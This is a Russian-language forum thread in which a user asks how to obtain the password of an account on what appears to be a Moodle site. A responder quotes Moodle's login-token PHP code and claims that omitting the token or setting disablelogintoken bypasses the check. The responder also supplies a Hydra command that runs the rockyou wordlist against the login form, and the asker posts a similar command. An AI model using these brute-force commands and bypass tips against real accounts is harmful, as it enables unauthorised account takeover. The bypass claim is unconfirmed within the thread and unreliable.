Можно ли узнать пароль от аккаунта? В BS имеется строка logintoken. Есть подозрение, что из за нее не выходит узнать правильность ввода данных. Через гидру так же, 0 правильных паролей.. Есть мысли? На что обратить внимание при бруте и реально ли это сделать? (скриншот bs кинул)
Начиная с версий 3.1.15, 3.3.9, 3.4.6, 3.5.3, 3.6.0 используется logintoken, как дополнительная защита CSRF от атак. Вот тут в функции get_login_token вы видите как генерируется токен, Spoiler: get_login_token PHP: /** * Get the current login token or generate a new one. * * All login forms generated from Moodle must include a login token * named "logintoken" with the value being the result of this function. * Logins will be rejected if they do not include this token as well as * the username and password fields. * * @return string The current login token. */ public static function get_login_token() { global $CFG, $SESSION; $state = false; if (!isset($SESSION->logintoken)) { $SESSION->logintoken = []; } if (array_key_exists(self::$logintokenkey, $SESSION->logintoken)) { $state = $SESSION->logintoken[self::$logintokenkey]; } if (empty($state)) { $state = self::create_login_token(); } // Check token lifespan. if ($state['created'] < (time() - $CFG->sessiontimeout)) { $state = self::create_login_token(); } // Return the current session login token. if (array_key_exists('token', $state)) { return $state['token']; } else { return false; } } а вот собственно и сама функция authenticate_user_login проверки данных. Spoiler: authenticate_user_login PHP: /** * Authenticates a user against the chosen authentication mechanism * * Given a username and password, this function looks them * up using the currently selected authentication mechanism, * and if the authentication is successful, it returns a * valid $user object from the 'user' table. * * Uses auth_ functions from the currently active auth module * * After authenticate_user_login() returns success, you will need to * log that the user has logged in, and call complete_user_login() to set * the session up. * * Note: this function works only with non-mnet accounts! * * @param string $username User's username (or also email if $CFG->authloginviaemail enabled) * @param string $password User's password * @param bool $ignorelockout useful when guessing is prevented by other mechanism such as captcha or SSO * @param int $failurereason login failure reason, can be used in renderers (it may disclose if account exists) * @param mixed logintoken If this is set to a string it is validated against the login token for the session. * @return stdClass|false A {@link $USER} object or false if error */function authenticate_user_login($username, $password, $ignorelockout=false, &$failurereason=null, $logintoken=false) { global $CFG, $DB, $PAGE; require_once("$CFG->libdir/authlib.php"); if ($user = get_complete_user_data('username', $username, $CFG->mnet_localhost_id)) { // we have found the user } else if (!empty($CFG->authloginviaemail)) { if ($email = clean_param($username, PARAM_EMAIL)) { $select = "mnethostid = :mnethostid AND LOWER(email) = LOWER(:email) AND deleted = 0"; $params = array('mnethostid' => $CFG->mnet_localhost_id, 'email' => $email); $users = $DB->get_records_select('user', $select, $params, 'id', 'id', 0, 2); if (count($users) === 1) { // Use email for login only if unique. $user = reset($users); $user = get_complete_user_data('id', $user->id); $username = $user->username; } unset($users); } } // Make sure this request came from the login form. if (!\core\session\manager::validate_login_token($logintoken)) { $failurereason = AUTH_LOGIN_FAILED; // Trigger login failed event (specifying the ID of the found user, if available). \core\event\user_login_failed::create([ 'userid' => ($user->id ?? 0), 'other' => [ 'username' => $username, 'reason' => $failurereason, ], ])->trigger(); error_log('[client '.getremoteaddr()."] $CFG->wwwroot Invalid Login Token: $username ".$_SERVER['HTTP_USER_AGENT']); return false; }..... При этом опять-таки вызывается функция validate_login_token Spoiler: validate_login_token PHP: /** * Check the submitted value against the stored login token. * * @param mixed $token The value submitted in the login form that we are validating. * If false is passed for the token, this function will always return true. * @return boolean If the submitted token is valid. */ public static function validate_login_token($token = false) { global $CFG; if (!empty($CFG->alternateloginurl) || !empty($CFG->disablelogintoken)) { // An external login page cannot generate the login token we need to protect CSRF on // login requests. // Other custom login workflows may skip this check by setting disablelogintoken in config. return true; } if ($token === false) { // authenticate_user_login is a core function was extended to validate tokens. // For existing uses other than the login form it does not // validate that a token was generated. // Some uses that do not validate the token are login/token.php, // or an auth plugin like auth/ldap/auth.php. return true; } $currenttoken = self::get_login_token(); // We need to clean the login token so the old one is not valid again. self::create_login_token(); if ($currenttoken !== $token) { // Fail the login. return false; } return true; } в которой проверяется сам login_token, но при этом мы видим что если параметр login_token будет иметь значение false (которое он будет получаеть по дефолту), то функция будет возврашать true и мы обходим функцию проверки токена. В общем если я не ошибаюсь, то если убрать его совсем из POST-запроса, то он дефолтом будет получать значение false, при этом обходится проверка этого самого токена и перебор должен идти. Если же оставить значение login_token, то он будет действительнен в течение 8 часов и обновлятся при каждой проверке данных.
Как понял, disablelogintoken поможет обойти это дело смотря по коду. Но вот проблема во времени.. Hydra справляется шустрее при подборе. Как я понимаю, для нее следует скачивать отдельные lib файлы и прописывать другую команду?
ну если у вас есть возможность изменять конфиг, то тогда мне не понятно о чём вопрос. Но в принципе да, если вы можете прописать в конфиге Code: disablelogintoken = true то тогда проверка тоже не выполняется. Я не знаю что у вас не хватает, но в принципе что-то вроде Code: hydra -l <username> -P /usr/share/wordlists/rockyou.txt <moodle_server> https-post-form "/day/login/index.php:username=^USER^&password=^PASS^:F=Login failed!" должно работать
Пример, который пробовал я: hydra -l <usr> -P <name.txt> -o result.log –V –s 443 <host_ip> https-post-form "/day/login/index.php:username=^USER^&password=^PASS^:F=<invalid>” Даже при таком раскладе выдает 0 действительных паролей.